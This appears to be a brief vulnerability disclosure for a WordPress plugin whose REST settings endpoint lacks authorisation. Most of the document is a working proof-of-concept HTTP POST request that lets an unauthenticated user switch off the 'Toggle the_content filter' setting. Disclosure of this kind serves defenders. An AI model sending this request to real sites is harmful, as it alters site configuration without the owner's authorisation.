The plugin does not have proper authorisation in one of its REST endpoint, allowing unauthenticated users to update the “Toggle the_content filter” setting
POST /wp-json/yikes/cpt/v1/settings HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 24
Connection: close
toggle_the_content=false